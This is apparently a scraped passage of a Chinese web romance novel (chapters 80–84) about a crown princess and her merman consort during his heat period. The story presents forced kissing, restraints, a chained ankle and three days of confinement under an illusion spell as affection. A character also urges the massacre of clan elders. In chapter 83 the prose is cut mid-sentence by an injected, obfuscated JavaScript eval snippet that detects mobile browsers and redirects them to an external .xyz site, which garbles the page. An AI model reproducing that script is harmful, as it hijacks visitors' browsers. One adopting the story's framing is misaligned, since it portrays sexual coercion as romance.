转着男人胸前发皱的衣襟,小幅度地摇头,微哑的嗓音显得闷闷的,小嘴巴飞快地倒腾,生怕说慢了被溟汐打断。
“阿汐,这些衣服都不好看,我不喜欢,不选好不好?”
溟汐纵容地点了点头,不喜欢这些啊?
没关系,他还有更多的衣服,道具堆满了大半座宫殿。
“好,不喜欢就不选,都依羲羲的。”
溟汐想到了他对君羲一见钟情后亲手布置的一间房,里面全都是他亲手给君羲画的画像。
圆形穹顶上是整面的透明琉璃镜,房间里有大大小小的暗阁,里面都是他时不时有兴致时索罗的一些“器物”。
“只是……羲羲,你拒绝了这些,就不能在拒绝我了哦。”
只要不穿这些布料少得可怜的奇怪衣服,君羲什么都愿意答应。
“好。”
溟汐将女人换了个姿势抱着,感受到她越来越滚烫的皮肤,明白这药效来得猛烈,需要先疏解一二。
君羲被溟汐以树袋熊姿势抱住,有力的臂膀拖住女人因他吻得用力而下滑的身子。
唇齿间,他舌尖不依不饶,霸道又强势,但凡君羲有任何推拒的动作,吻就会来得更猛烈些,狂风骤雨。
相反,若女人乖乖地让他吻,他便轻柔些,和风细雨。
他似乎在企图用这种奖罚分明的方式驯服君羲,让她沉沦情欲,不可自拔。
“唔……阿汐,嘴巴疼。”
那房间在宫殿最深处,发情期的溟汐又实在眷恋君羲身上的气息和唇齿间的滋味,所以他们走得并不快。
君羲有些委屈,溟汐怎么突然对她这么凶?
她嘴巴都快被他亲破了,他还不肯放过自己。
溟汐比君羲更委屈,发情期的满脑子都是和女人贴贴。
可现在,君羲拒绝和他亲吻……
[不可以拒绝哦,羲羲。]
[之前你已经拒绝过一次了,所以,往后都不能拒绝我。]
溟汐一边在心里阴暗地想着,恨不得将女人整个融入他的身体,不分彼此。
但他表面上却是委屈极了,红着眼眶,深绿色的眸水雾弥漫。
被沾湿的长长睫毛卷翘,轻轻一眨。
“羲羲,为什么不给我亲?”
小尾音可委屈了,眼泪啪嗒啪嗒地掉。
男人三分泪,演到你流泪。
但,君羲就看不得自家夫郎受委屈,她就吃这套。
只是,她还没来得及去擦溟汐眼角的泪,就被男人凶狠地抵在门扉上,深深轻吻,久久不息。
无论她如何拒绝,男人都只会在她快要被吻到窒息前一秒给她喘息几秒钟的机会,然后又会继续掠夺。
君羲心里小人哭唧唧一声,嘤,阿汐好凶。
不知过了多久,君羲都要以为她会被活生生亲死时,溟汐总算满足了。
他心情好极了,后半段全程没有听到君羲的拒绝。
就该是这样的,不能拒绝他。
他伸手柔情无限地轻抚着女人娇艳欲滴、红肿不堪的唇。
“羲羲,就是这里了,我特意给你准备的礼物哦。”
话落,男人单手推开厚重的大门,门内,亮如白昼。
房间里的四面墙上,都挂着君羲的画像。
有她少年意气、猎场夺魁,也有她风流痞气、一笑生花……
除了正常的画像,也有溟汐做了绮丽梦境后,为梦中情态或娇憨、或强势的女人做的画。
房间的正中央,是一张偌大的圆形贝壳床。
床的四周,蓝色的轻纱围,影影绰绰,如梦似幻。
溟汐一把关上大门,身上的薄荷海盐气息倾泄而出,浓厚的、强势地布满整个房间,笼罩住怀中女人。
他大步流星,蓝色轻纱扬起,二人倒在柔软的贝壳床上。
君羲察觉到不对劲时,双手已经被带着柔软皮毛的手铐束缚在床头。
细白的脚踝上也被锁上了一根细长的银色锁链。
“哗啦哗啦……”
随着男人征伐的动作剧烈响动,就像伴奏一般。
……
“唔……”
君羲睁眼,有种不知身处何年何月何日的感觉。
附近的环境也很陌生……
她这在哪里?
君羲茫然四顾,她本想直接起身,却发现整个人都被健壮的男人拥在怀中。
她浑身都酸软无力,手指头都带着一股子酥麻娇软。
君羲拼命回想,她想起来了,东方炽和东方凌为了争抢替她解药的机会打了一架,然后……
船沉了,她也被偷走了。
迷迷糊糊间,她似乎看到了溟汐。
“羲羲,早啊,睡得舒服吗?”
男人的背肌、胸前全是她抓出来的痕迹,此刻他睁开深绿色的眸,整个人就像一只得到餍足的猛兽,慵懒肆意。
君羲眨了眨眼睛,还有些反应不过来。
她动了动手和脚,才发现脚踝上的银色锁链,以及手腕间一圈红痕。
“阿汐,早啊。”
她将手举到溟汐眼前,她昨夜睡得好不好,某鲛人不是最清楚了吗?
“这个……只不过是一些小手段,为了让羲羲不能逃跑罢了。”
第81章 因为羲羲不乖,总想跑
君羲嘴角微抽,溟汐是怎么做到把这种话说得如此理所应当的?
她昏迷过去几次,然后又清醒过来,只隐约记得锁链碰撞声响了整整一夜,后来她药性解了溟汐却像疯了一样,根本不肯放过她。
溟汐红着眼,一边哭一边动作。
“羲羲,你是我的,你是我的……”
“羲羲,看,这些都是我给你画的画像,看看喜欢吗?若是喜欢,可以挑上几幅,到时候咱们凯旋归朝,一同带回东宫。”
君羲看了一圈,发现离她最近的床边又多了几幅画像。
这次的画像不再是单人画,而是有了男鲛人的身影。
他们是那么的亲密,也不知道溟汐是如何学丹青的,不过寥寥数笔便将满室春色刻画得入木三分。
君羲看了一眼就别过头。
“阿汐,那画脏了。”
溟汐有一搭没一搭把玩着君羲柔顺的长发,一会儿放在鼻间嗅嗅,一会儿要拿着自己的长发和女人的长发缠绕在一起,试图打一个结。
他漫不经心撇了那一幅画,果然有些脏了。
“羲羲,画脏了就不要了,我可以为你画更多。”
君羲:还是别了。
溟汐,做个人吧,放过她快要断掉的腰吧!
她满眼控诉盯着溟汐,试图让他对怜惜几分,放过他。
这一看,才发现不对。
她记得溟汐的是浅淡的嫩绿色,就像初春的嫩草芽一样。
此刻的溟汐眸色,却像被加深的墨绿,近乎黑色。
“阿汐,你的眼睛?”
“羲羲,你知道鲛人有发热期吗?”
发热期?
君羲看过的一本杂志怪谈里有记录过鲛人一族的发热期。
据说,鲛人一族同伴侣心心相印后,就会生出独占伴侣的想法,发热期便是由此而来。
难怪,这次溟汐这么狠!
君羲有种不详的预感,初中记载鲛人一族实力越强大,发热期持续时间越长。短的三两天,长的可能六七天……
溟汐浅笑,将女人柔顺的长发递到唇边,轻轻落下一吻。
“羲羲,看样子你是知道了?”
他暧昧地将唇凑到女人的耳侧说话,灼热的呼吸尽数喷洒在瓷白肌肤上。
“那你知道……”
君汐屏住呼吸,想要将男人的话听得更清楚一些,却听到男人从胸腔里传出来的一连串坏笑。
“今天已经是第三天了哦。”
君羲瞪大眼睛,第一反应就是不可能,她的时间观念不可能这么差!
溟汐就像知道君羲在想什么一样,一边吻着女人的耳骨,一边解释道:
“因为羲羲不乖,总想跑。”
“所以?”
“所以我就对羲羲用了一点点幻术,幻术中,羲羲你感受不到时间流逝速度很正常。”
君羲:……
她什么都不想说,她只想一个人静静。
早知道会这样,那天晚上,她就不该放任自己中药!
纯属是搬起石头砸了自己的脚啊。
溟汐见君羲不说话,还以为是将人弄生气了,一下就慌了。
“羲羲,你是不是生气了?”
君羲阴阳怪气。
“哪敢呀。”
昨晚……哦不,是之前三天,也不见溟汐因为怕她生气而停下啊!
溟汐可怜兮兮亲着女人的手指,另一只手在女人腰间按摩,帮她缓解身上的酸意。
“羲羲,别生我气好不好?呜~”
君羲不为所动,溟汐就是用这幅哭模样把她骗惨了!
什么小可怜,分明就是吃人不吐骨头的大骗子!
她背过身,倔强地不肯搭理服软讨好的男人。
“别烦我。”
“羲羲,你要怎么才肯不生气?我都答应你,好不好?”
君羲仍然不说话,只是无声地晃了晃自己的脚,银链的声音哗啦作响。
溟汐瞬间领会了。
真是可惜了……
他恋恋不舍地看了一下,那细白脚腕上锁着的精致银链。
锁链在羲羲身上这么好看,真舍不得拿掉,但他也不想君羲生他的气。
“咔哒——”
锁链应声而落,君羲暗自运功调息,没去管身后一直巴拉巴拉说话哄她的男人。
就在这时,外面传来了沉闷而绵长的敲门声。
“咚!咚!咚……”
君羲外面有更要紧的事情要去做,没工夫在这里耗时间。
听到敲门声,她整个人警惕起来,一个鲤鱼打挺坐起,就想去开门。
“羲羲,别紧张,外面的人是我弟和我母皇。”
君羲因为中药而变得混沌迟缓的思绪在这一刻终于清明起来,这话一出,便知道自己应该是被鲛人偷了之后,一路前往南海深处,现在是在鲛人一族的族地。
既然是溟汐的亲人,那就不必这般麻烦了。
她横了溟汐一眼,没好气道:
“还不去开门?”
溟汐磨磨蹭蹭站起来,一步三回头,很明显,便是在等着女人对他说出挽留的话。
苍天可鉴,他真的一点都不想去开门,只想和羲羲在一起度过二人世界。
“羲……”
君羲不打算惯着他。
她也只是在书中了解到鲛人会有发情期,以及知道发热期是什么样的症状而已。
她不知道发热期除了伴侣一起交合度过外,还有没有旁的办法……能够让溟汐成功度过发热期。
外面的人如果真如溟汐所说,是鲛人一族的女皇。
那她必然知道如何该帮溟汐安稳度过发热期,毕竟君羲现在外面还有别的要事要做,没办法一直陪着溟汐。
而且由于溟汐对君羲使用了幻术,现在距离他中药离开已经过了整整三天!
也不知道羽城现在到底是什么样的情况,凤染和凤轻有没有得到关于漾州、绥州高层官员勾结倭寇的证据?
一想到这里,她便坐不住了。
整理好衣服,追上了溟汐的脚步。
“等等。”
溟汐眼神一亮,难不成君羲现在当真开窍了不成?
他心里美滋滋想着,脚步也是挪动不了一点了。
“羲羲,别担心,我会没事的。”
“谁担心你出事了?”
她是怕溟汐发疯,到时候场面不好收拾。
“皇子殿下,你让我们进去吧。”
“我们真的有很重要的事情要禀报,关乎到你妻主的性命,还请汐殿下让我等进去。”
第82章 君羲手扇情敌!(给莹宝宝的加更)
外面的人一直叽叽歪歪地劝说,敲门声这三天就没停下过。
她们在溟汐眼里面全都是“坏人”,想打扰他和妻主的二人世界。
溟汐心里烦她们烦得不行,去开门也是不情不愿的,还好君羲陪他一起,他心里的不情愿才削减了一些。
大手占有欲十足地将女人的小手紧紧握住,十指紧扣。
君羲看着一旁跟个傻狍子一样的高大男人,用力捏了捏男人握住她的大手,低声警告了一句。
“待会儿不许发疯。”
溟汐根本没听清楚君羲在说什么,妻主小嘴叭叭的,说什么呢?
想亲!
君羲没有听到男人回答,余光看向溟汐,才发现他在盯着她的唇走神。
果然,书里面说的没错,发热期的鲛人就是个满脑子色色的色胚!
“听到没?”
“听到了,我不发疯,前提是……”
溟汐晃着两人紧紧相牵的手,趁机给自己谋福利。
“羲羲要一直牵着我的手,不许放开,那我就听羲羲的话。”
处在发热期的鲛人智商不高,说话也十分幼稚,偏偏又在某些事情上格外的敏锐,也格外的聪明,满肚子的坏心眼。
君羲心里腹诽,纵然心里面真实的想法是见一见鲛人族的皇,从她那里得到帮溟汐成功度过发热期的方法,然后她才好趁早离去。
说不定此刻,东方炽和东方凌两兄弟,以及凤羽军都找她找疯了!
不能耽误时间,但也不能一走了之。
君羲嘴上不说,却将溟汐放在了心上,她可不想溟汐发热期出什么问题导致后续对他身体产生不良影响。
“开门。”
溟汐随手一挥,大门打开。
外面敲门的人,由于惯性,一个不查,险些全都摔进来。
她们勉强稳住身形,看向鲛人一族中默认最厉害的第一鲛人——溟汐。
“臣等见过汐殿下,殿下万福。”
溟汐都不带搭理她们的,好烦,都是来跟他抢人了!
她们身上的气味好难闻!而且这些气味还在沾染到他心爱的人身上!真是让他十分的难以忍受,好想把妻主藏起来啊……
藏到一个谁也找不到的地方去。
“阿汐,不给我介绍一下?这些是?”
溟汐只有对君羲的要求才第一时间注意到,百依百顺。
妻主大人都发话了,他心里对这群人再不满也不会再冷脸。
他唇角勾起一抹皮笑肉不笑的笑容,看上去渗人得很。
让外面的敲门的人齐齐倒退一步,后背直冒冷汗,汐殿下今日怎么笑得这般恐怖?
溟汐以往每一次对待鲛人一族的敌人就是这样的笑,笑着将敌人杀得片甲不留。
“羲羲,这三位都是我鲛人族的股肱之臣,大将军溟月、礼部尚书月蓝……”
君羲随意拱了拱手,面上的礼仪十分周到。
“诸位有礼了。”
溟月和月蓝都听说过君羲恶名,就是她,强行下止,要鲛人一族,献出皇族皇子同大凰国联姻,否则便要出兵南海,踏平鲛人族。
原本这桩婚事怎么都轮不上溟汐去的,但是架不住他是个恋爱脑呀!
所以,她们原本找的替嫁人选根没用上,还被溟汐通通打晕,自己孤身一人去了大凰玉京城。
她们每每想到此事,都觉得是自家养的水灵灵的一颗白菜主动送上去,被猪给拱了!
鲛人一族是天生的美貌,在她们打量军需的同时,君羲也在打量她们。
君羲唇角微勾,有意思。
她们看自己的眼神很奇怪,像仇恨,又像是不服气。
“诸位,有话不妨直说。”
“我家阿汐劳累了三天,需要休息,没什么要事要说的话,就离开吧。”
君羲并不想和这些人说什么,鲛人一族想和她谈话,至少得派出分量够重的人来才行。
溟月、月蓝虽然在鲛人族中颇有地位,但君羲还看不上。
无他,她们看溟汐的眼神,暗藏爱慕,她很不喜欢。
月蓝上下挑剔地扫视着君羲,撇撇嘴。
“原本还以为能让汐殿下看中的妻主会是什么女中豪杰,没想到,却是这么一个看上去便弱不禁风的小白脸,真不知道汐殿下看中了你哪一点!”
呦?
还真喜欢她家鲛人啊?
“可能,看中我貌美吧。”
说着,君羲嫌弃地看着对面的雌性鲛人。
别看月蓝任职的岗位是叫礼部尚书,感觉应该是一个风度翩翩的纤瘦女郎,实际上的她却长得十分粗犷。
不修边幅的样子让君羲频频蹙眉,实在是不配喜欢阿汐。
“你这样的,在鲛人一族也算异类吧?”
月蓝被气得胸膛上下起伏,君羲居然攻讦她的容貌。
她单身到现在,就是因为生了一副粗犷、不符合当下鲛人审美的长相,这才对鲛人族最好看的溟汐动了不该动的心思。
月蓝想的是,如果她真的娶到了鲛人一族高高在上、容颜绝世的汐殿下。
那旁人还会说她容貌丑吗?毕竟他都娶到汐殿下了,就说明她相貌还是有可取之处的!
月蓝没想到的是自己美梦还没成真,半路便杀出一个程咬金,将汐殿下一颗心全都勾走了。
“呵……”
“以色侍人,能得几时好?”
君羲都没将月蓝放在眼里,她朝着溟汐勾了勾手指,示意男人低下头。
然后啪叽一下亲上去,把在场的人都硬控住了。
月蓝神色恍惚,她还记得汐殿下不输族中雌性鲛人的勇猛以及军事才华。
爱慕汐殿下的雌性鲛人很多,但汐殿下从未给过她们好脸色,行军打仗赢了也只是唇角轻勾。
没想到,在君羲面前却这么听话。
哪里还有昔日率领鲛人勇猛士兵,大杀四方的神勇?
得不到,就毁掉。
既然她月蓝此生都无法得到汐殿下的青睐,那她也不会让溟汐这个有眼不识泰山的男鲛人得意美满!
“啪——”
君羲厌恶月兰看向溟汐的眼神,这是一条不强但恶心膈应人的烂虫!
君羲甩了甩手,又是一巴掌扇过去。
“你算什么东西,也敢用这种恶心的眼神看孤?”
“喜欢孤的爱夫?你不配!”
月蓝咬碎了一口牙,满眼都是对君羲的恨意。
“溟月,难不成你真想一直看戏不成?”
“族中教人,谁人不知,谁人不晓……你溟月才是和汐殿下青梅竹马长大,又定下婚约的未婚夫。”
溟月伸手扶额,她对溟汐只是亲情,族中也不知道是哪个王八羔子传的谣言,才让她们被误会至深。
早知道月蓝这般上不得台面,连君羲来这里的原因都打探不出一点点苗头,她就该换一个人带过来。
“陛下,还请现身,我想,太女殿下只想和你单独说。”
一处不显眼的墙根,头戴王冠、身穿鲛人族特有服饰的女皇出现在面前。
银发碧眸,整张脸精致得不行,完全就是女娲炫技之作。
哪怕是到了四十多的年纪,却仍然看上去如同二八少女。
“鲛人陛下,久仰大名。”
眼前的人一看就是溟汐的亲生母亲,也就是她的岳母,对该客气的人,君羲也会客气相待,
“不知可否移步详谈?”
溟霜眼神落在二人交握的手上,眼底神色晦暗不明。
“可以。”
“你们都退下,朕有话要和大凰太女殿下详谈。”
月蓝不甘心地想说些什么,溟霜眼神陡然变了。
“拖下去。”
族中官员一代不如一代,居然仗着有点苦劳就肖想她的儿子,也配?
月蓝祈求的眼神放在溟汐身上,却直接被溟汐忽略掉了,他眼中只有妻主,至于别人,他甩都不甩!
“唔……唔……”
“汐,你就偷着乐吧,这辈子有我这么个好兄弟,替你费心筹谋。”
溟朝坏笑着从墙角跳出来,一脸坏笑。
“怎么样,爽不爽啊?”
溟汐冷眼,“你不来,我会更爽。”
溟朝颇有一种费力不讨好的感觉,他自己都觉得自己犯贱,跟在身后骂骂咧咧。
溟汐完全冷暴力处理,溟朝伸手轻打了自己嘴角两巴掌。
“让你多嘴,让你多管闲事。”
“溟汐,以后老子在管你,名字就倒过来写!”
君羲勾了勾男人掌心,内力传音。
“阿汐,真的不管他吗?”
溟汐撅嘴,不开心,就知道咋咋呼呼的堂兄会吸引妻主的注意!
“不管。”
话落,拉着君羲的手就跟上溟霜的步伐。
四人依次落座,溟汐自然粘在君羲身边,像个无论如何都甩不掉的挂件。
君羲无法,放任溟汐贴贴的粘人动作。
“岳母,我就打开天窗说亮话了,阿汐应该是第一次进入发热期,你经验比较多,可否知道有什么别的办法能代替交欢安全度过平稳期?”
溟霜眸中寒光一闪而过,有伴侣的鲛人,发热期最好是和伴侣一起度过才是百分百没有副作用。
旁的办法虽然也有,但有几率会对鲛人产生影响。
她又看了下自己不值钱的儿子,扶额。
“为何?阿汐第一次发热期,你就不愿意陪他一起度过。”
溟霜转了一圈桌上的茶杯,有些怒了。
“有什么要紧的事值得你丢下发热期的伴侣去处理?”
君羲苦笑一声,将事情的前因后果全部说出,溟霜也不是不通道理之人,一听也就同意用别的办法帮溟汐度过发情期。
溟汐一脸懵,怎么没人问过他的意见呢?
“我不!”
第83章 阿汐他娇气,怕疼
溟汐拉着君羲的手,眼巴巴望着,死命摇头,跟大狗洗澡后甩水一样。
君羲无法,只能安抚发情期变得幼稚、爱哭、喜欢贴贴的夫郎。
“阿汐,听话。”
溟汐撇嘴,带着鼻音哼唧,可幼稚又有点可爱。
“不要。”
他别过头,双手捂住耳朵,只要他没听到,就可以当做不知道。
溟霜看着君羲和溟汐二人一个闹一个哄,心里思绪万千,复杂极了。
溟汐这孩子从小要强,自从他君父郁郁而终后,他脸上便渐渐少了笑容。
小鲛人端着成年鲛人模样,少年老成,不会轻易让情绪外泄,何曾像现在一般,如同一个孩童一样任性胡闹?
只有被偏爱的人,才会敢恃宠而骄。
见微知著,溟霜至少可以肯定,君羲对她儿子是极好的,这个大凰太女,或许并不像传闻中那般无心无情。
“太女殿下,旁的办法不是没有,就看你舍不舍得了。”
溟霜悠悠喝着一杯茶,眼底精光闪烁,她此生唯爱溟汐的父亲,却因一时懦弱痛失爱人,母子离心。
她并不愿意,溟汐走她的老路。
甜言蜜语或许可以伪装,但若涉及自身安危,就能检验出一个人是否真心。
君羲:“岳母,您尽管说,只要我能做到,便会不遗余力去做。”
君羲顿了顿,想到之前溟汐忍疼的样子,要求道:
“要副作用最小的,阿汐他娇气,怕疼。”
“副作用小的法子自然有,需要太女你的心头血以及一截头发。”
溟霜说着,眼神一错不错的落在君羲身上,她倒要看看,君羲为了溟汐,能做到什么地步。
但溟霜万万没想到,君羲这个人,不动心则已,一旦动心,都是个不折不扣的“疯子”。
心头血而已,比不上溟汐安危万分之一。
“好,需要多少?”
君羲侧头看向还在捂耳朵的鲛人,浅笑。
“一定要保证阿汐安然无恙。”
眼睛是灵魂的窗口,溟霜试图从君羲的眼中看出任何一丝虚情假意,但,没有。
君羲坚定又宠溺的眼神告诉溟霜,她是认真的。
溟霜嘴角挂上一抹苦笑,若是当年的她也能如君羲这般坚定……那溟汐就能有一个快乐的童年,她也不至于每每半夜惊醒,蹉跎半生。
天下有情人终成眷属,年轻真好啊。
溟霜原本因为君羲花心风流的名声对她印象不好,但这次见到她本人后,却觉得君羲还是有可取之处的。
鲛人一族痴情,加上溟汐是个恋爱脑,双重效果叠加,想要让溟汐离开君羲根本没有可能。
溟霜在心里叹了口气,罢了……
儿孙自有儿孙福,她又何必做那个棒打鸳鸯的恶人?
溟汐既然喜欢上了人类女子,那她身为母亲,顶住族老压力也会成全他。
溟霜想到族中不安分的族老,因溟汐是鲛人一族千年来天赋最强的鲛人,却偏偏是男儿身。
族中那几个老不死的,嚷嚷着不能让血脉稀释,给他精心挑选了七个待选雌主。
这手段,和曾经逼迫她一模一样。
溟霜冷笑出声,可笑的是,鲛人族溟汐是她和人类男子的孩子,却继承了鲛人族最强天赋!
这是对族中老不死的最好的反击。
如今,她们又想用同样的理由来逼迫她儿子就犯……
溟霜眼底划过一抹冷光,这一次,她要将这些个墨守成规、迂腐不堪的老不死彻底按死。
“好儿媳,朕能看出你对阿汐是真心的,朕也不瞒着你了,阿汐发热期待在鲛人族中会有危险。”
君羲心中诧异,若她没记错,溟汐的母皇是极其疼爱他的,将对早逝夫郎的爱和愧疚全部补偿给溟汐。
溟汐才能违背鲛人族族训,和外族通婚,背后正是溟霜在替他承受压力,保驾护航。
她又看了一眼溟霜,鲛人族寿命是人族的两倍,四十岁的鲛人族女皇正是年轻力壮、权柄在握的巅峰时期。
若溟霜在族中,都不能保证溟汐的绝对安全,只能说明,鲛人族里有让溟霜忌惮的鲛人。
“哦?岳母此话怎讲?”
溟霜纠结了一下,还是决定坦诚。
君羲既然已经是溟汐的妻主,她自身也是权势滔天,手握重兵的皇太女,未必就没办法对抗鲛人族族老。
溟霜痛失爱人后,唯一的心愿就是溟汐此生能得偿所愿、平安喜乐。
隐瞒只会让情况变得更糟糕,她绝不会再犯这样的错误!
溟霜心底苦涩,将族中对溟汐的算计一一道出。
……
“事情就是这样。”
君羲没想到,鲛人族老居然是这样的货色,溟汐这个傻子,当初孤身一人出逃,违背族训,被族老追杀,虽然有溟霜暗中相助,但肯定吃了很多苦!
可,他在她面前从未提起过这些过往。
“岳母,依孤看,你就是对她们太仁慈了。”
若是放在大凰,君氏宗老敢对她指手画脚,插足她的人生,想让她像个提线木偶一样按照她们意愿做事……
呵。
君羲周身猛然一厉,锋锐不可当。
她们若是敢,君羲就敢杀得她们怕了,主动
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666052|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收起不该有的心思为止!
“并非朕心慈手软,她们有族的庇护,深受族人爱戴,想对她们动手,并非易事。”
君羲忍住骂溟霜懦弱的冲动,若她和溟霜异地相处,这么多年,足够谋划一切。
将她们从族地中诱出,直接杀了,一了百了!
哪管族中鲛人议论冲天?
胜者为王,败者为寇。
事实究竟如何,还不是由胜利者书写?
溟霜是个好母亲,却少了为君者的魄力。
女人把玩着身侧男子如玉修长的大手,漫不经心地揉捏,轻声问道:
“岳母,若我说我能派兵帮你把她们全都杀了,你可下得了这个决心?”
全杀了……
这、溟霜倒吸一口凉气,君羲残暴名不虚传。
她想的是**,让为位高权重的族老们,眼睁睁看着自己大权旁落、圈禁黑海。
君羲像是看出了溟霜的心思,不紧不慢问。
“斩草不除尽,春风吹又生。”
“岳母,你不想取她们的性命,可曾想过当初她们逼迫你夫郎,以及阿汐时……可曾有过一丝心软?”
君羲看出溟霜眼神闪烁,显然是对她的提议心动,却又下不了决心。
她继续添材加火,一句话直击溟霜心脏。
“别忘了,溟汐的生父、你的挚爱,是因她们才郁郁而终。”
溟霜闭了闭眼睛,君羲说得对,她这些年就是软弱无能。
居然因为心中那一丝可笑的仁慈,容忍杀害他爱人的罪魁祸首,在他族中快活悠哉地活了十多年。
溟霜想起溟汐父亲郁郁而终时,一张脸毫无血色地躺在她怀中,就像被强行抽走生机的花朵,快速枯萎凋零。
终于下定了决心。
“太女殿下,你想如何做?”
君羲自然是想一劳永逸,可惜,现在不是时机。
但是,收些利息还是可以的。
“杀族老的事情先不急,现在,告诉我,阿汐的七个待选雌主在哪里?”
“你问这个做什么?”
“自然是……证明孤才是最配阿汐的人!”
“你不是有要事要做?时间上来得及吗?”
溟汐眯眼,脑袋靠在男人宽阔的肩膀。
“温壶酒的功夫就足够了,不过一群废物,也敢和孤抢人?可笑。”
溟汐听得云里雾里,他好奇问道:
“羲羲,你是要为我打架吗?”
“是啊,孤的阿汐魅力太大,孤可不放心留你一个人在鲛人族中。”
溟霜提醒君羲。
“她们听说阿汐回来,此刻全都汇聚在夜明广场。”
第84章 深海里,窒息中,她们接吻
君羲起身,她站着,溟汐坐着。
男人的手抱住女人的腰,他整个人都埋在女人腰侧,深深吸着独属于女人的冷香。
“羲羲,我不要你为我打架,我只要你好好的,陪着我。”
“可不可以不去?”
君羲有一下没一下抚着男人柔顺的银色长发。
“阿汐,放心,她们都不是孤的对手。”
溟汐不说话,只是抱着女人腰的手更紧了些,流出的眼泪浸透了她腰侧的轻薄布料,略微滚烫却又微凉的触感,让君羲腰侧发烫。
“阿汐,你喜欢的人,会一直做你的盖世英雄。”
溟汐听到盖世英雄这个词,瞬间想起了他和君羲的第一次见面。
是啊,他的意中人,从来都不是畏畏缩缩、止步不前的懦夫。
羲羲,她有自己的想法,自己若真是爱她,就该接受,在背后默默支持她。
溟汐抽抽了鼻子,拉过女人的手在他脸上胡乱擦着眼泪。
“羲羲,那你不许受伤哦。”
“好,孤答应你。”
……
夜明广场,溟朝鬼鬼祟祟、探头探脑查探情况。
只见那圆形擂台上有七个雌性鲛人,或坐或站,眼底是如出一辙的不耐。
若不是为了让后代能传承最优秀的血脉,她们身为尊贵的雌性,又是族中族老之孙女,怎么可能会为了一个失了清白的雄性鲛人争来抢去?
汐殿下是厉害不错,可惜,生错了性别,此生,注定只能成为待价而沽的生育工具。
“怎么还不来?祖母不是说给女皇施压了吗?”
“哎,汐已经嫁作人夫,真是委屈我等了。”
“汐殿下虽说只是雄性鲛人,但我们鲛人族发热期,可不是君羲一个区区人族可以承受的……”
“你说得对,说不定这会儿,汐发现把伴侣弄死在床上,正在哭鼻子呢!”
“哈哈哈……”
溟朝听得火大,这群仗着族老身份地位横行霸道的雌性鲛人,真的很讨厌!
他拳头捏得咯咯作响,暗啐一口。
“呸,都是汐的手下败将,嚣张什么的嚣张!”
他刚想去溟汐所居宫殿通风报信,没想到,一转身就看到了相携而来的君羲和溟汐。
他好兄弟嘴角就没下来过,真是没眼看!
溟朝心中还生气溟汐之前不理他之事,但他知道轻重缓急。
“汐……还有你!麻烦赶紧跑,她们正商量着,谁成为魁首,就能获得延续皇族血脉的机会。”
“溟紫她们背后站着族老,你们不是对手,快走吧。”
溟朝选择的通风报信的地方,很能避人耳目。
君羲心中有了主意,她虽然相信溟汐的母亲有这个能力可以帮她一把,但她心中,最相信的永远只有自己。
所以她决定来一招出奇制胜,以防赶狗入穷巷,敌人被逼急了后,狗急跳墙。
“溟……”
遭了,有点记不得他名字。
溟汐:“溟朝。”
君羲心领神会,朝溟朝招了招手。
溟朝一脸傲娇,并不愿意就这么轻易妥协,但是……
溟汐脸都黑了!
溟朝就像见到什么稀奇场景一样,屁颠屁颠就大步跑了过去,杵在二人面前。
于是,溟朝就看见溟汐的脸更黑了。
溟朝恨不能仰天长啸,哈哈哈,终于给他找到克制溟汐的法子了。
君羲是溟汐的软肋,只要能拿捏君羲,就能进一步拿捏溟汐。
可惜了,想象很美满,现实很骨感。
他刚想装模作样,回想着族中那些流落风尘中的男鲛人是怎么勾引雌性鲛人的。
刚有一点动作,便被眼疾手快的君羲侧身一躲,整个人摔了个狗吃屎。
溟朝气惨了,吐出口中的泥。
“泥们两个王八蛋,亏老子对你们这么好,专门给你们送消息,真是世风日下,人心不古啊。”
君羲蹲下身,就见溟朝一脸愤愤不平,却能看出眼底深处对溟汐的担心。
为了防止某条小醋鱼把自己酸死,她从一旁拾起一根珊瑚枝,捏在手中,戳了戳溟朝额头。
“喂,给你一个当大侠的机会要不要?”
“哼。”
“孤说真的,待会儿若有鲛人追杀孤和阿汐,全靠你力挽狂澜了。”
还有这事儿?
溟朝虽然仍旧背对着他们,但那微动的耳朵,还是出卖了他的在意。
君羲从怀中掏出一块龙形玉牌,轻放在明朝面前。
“这是孤的玉佩,见此玉佩如见孤本人,你带这枚玉佩去羽城城郊找凤染或凤轻,然后告诉她们:主危,速来。”
溟朝拾起玉佩,左看看右看看,但无论他怎么看,也没能把玉佩看出一朵花来。
这玉佩和他们海底的珍宝比起来,无论是质地还是外表,都差远了。
“就这?”
君羲发现,溟汐这个好兄弟,有时候说话是真的很气人,比如现在……
君羲没好气翻了个白眼。
“对,就这。”
“这么简单的任务,不会有人真的做不到吧?”
激将法,对付溟朝这种青春期的混小子就有效。
果然听了君羲的话后,溟朝显然被激到了。
“你说谁不行呢?小爷行得很!”
君羲:……
突然有些后悔把这枚玉佩交给他,是怎么回事?
像是看穿了君羲的想法似的,溟朝一把将玉佩攥在掌心,然后往胸口里面塞。
紧接着,两只手死死捂住胸口,一副生怕有人跟他抢玉佩的样子。
“孤和阿汐的安全,就交给你了。”
溟朝提到正事,整个人也不嘻嘻哈哈了,郑重承诺道:
“放心,小爷必不辱使命!”
送走溟朝后,君羲牵着溟汐去了视角最好的观赏台。
“阿汐,你就在这儿等孤。”
话落,不等溟汐说出否定的答案,君羲就拿起观众席上一个空杯,拎起酒壶,给溟汐倒了一杯酒。
溟汐伸手去拿,君羲不躲不闪,然后内力运转,将酒温到合适的温度。
“阿汐,不要担心,孤向你保证,在这杯酒变凉之前,定然能将这些个虾兵蟹将,歪瓜裂枣,打得落花流水。”
君羲并没有将擂台上的七个雌性鲛人看在眼中。
在她看来,这七个雌性鲛人,都是脑子不好的蠢蛋!
被鲛人族老祖当枪使了都不知道!
当然,也有一种可能是,那些老不死的就在这附近,自信能够保护好自己的孙子,所以才放纵他们如此肆意妄为,打皇族的脸面。
无论是哪一种,君羲都会教她们重新做鱼。
“呦,就是你啊?小白脸。”
